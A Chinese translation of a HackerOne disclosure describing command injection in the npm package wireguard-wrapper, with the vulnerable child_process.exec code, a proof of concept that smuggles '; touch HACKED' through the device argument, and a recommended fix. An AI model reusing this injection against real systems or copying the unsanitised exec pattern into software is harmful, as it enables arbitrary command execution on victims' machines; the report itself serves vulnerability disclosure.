原文地址:
https://hackerone.com/reports/858674
该wireguard-wrapper模块中的问题。它允许在受害者的PC上执行任意命令。
模块名称: wireguard-wrapper
版本: 1.0.2
npm页面: https://www.npmjs.com/package/wireguard-wrapper
漏洞描述
发生此问题的原因是用户输入的参数用于执行命令而无需任何检查。
我测试了wg showconf功能。这是导致问题的代码:
// https://github.com/rostwolke/node-wireguard-wrapper/blob/master/src/command/Wg.js#L58
'use strict';
const {exec} = require('child_process');
...
static showconf(device){
return new Promise(function(resolve, reject){
if(!device){
return reject('No device/interface specified');
}
exec(`wg showconf ${device}`, function(error, stdout, stderr){
if(error){
return reject(`Exec error: ${error}`);
}
if(stderr){
return reject(`StdErr: ${stderr}`);
}
....
如我们所见,device参数作为输入传递给exec函数。该函数exec是内置函数,使用不安全的用户输入child_process.exec()来输入device变量build。
重现步骤:
创建一个测试目录
mkdir poc
cd poc/
安装wireguard工具(即使不需要显示此漏洞)
安装wireguard-wrapper模块:
npm i --save wireguard-wrapper
创建以下PoC JavaScript文件(poc.js):
const { Wg } = require('wireguard-wrapper');
Wg.showconf('; touch HACKED').then(function(config){
console.log('wg0 configuration:', config);
console.log('generated configuration file:', config.toString());
});
确保该HACKED文件不存在:
ls
执行poc.js文件:
node poc.js
在HACKED创建文件:
Ls
修补
不要使用不安全的用户输入来串联命令。始终检查并消毒它。我认为,最好使用child_process.execFile或child_process.spawn函数代替child_process.exec。
译者按:
搞这种比较成熟的项目的时候,有时候搞搞第三方库也是不错的嘛。。。柿子要挑软的捏嘛。像child_process.exec出问题也不是一次两次了。之前Packer Fuzzer也出过相同的问题嘛。
本文迁移自知识星球“火线Zone”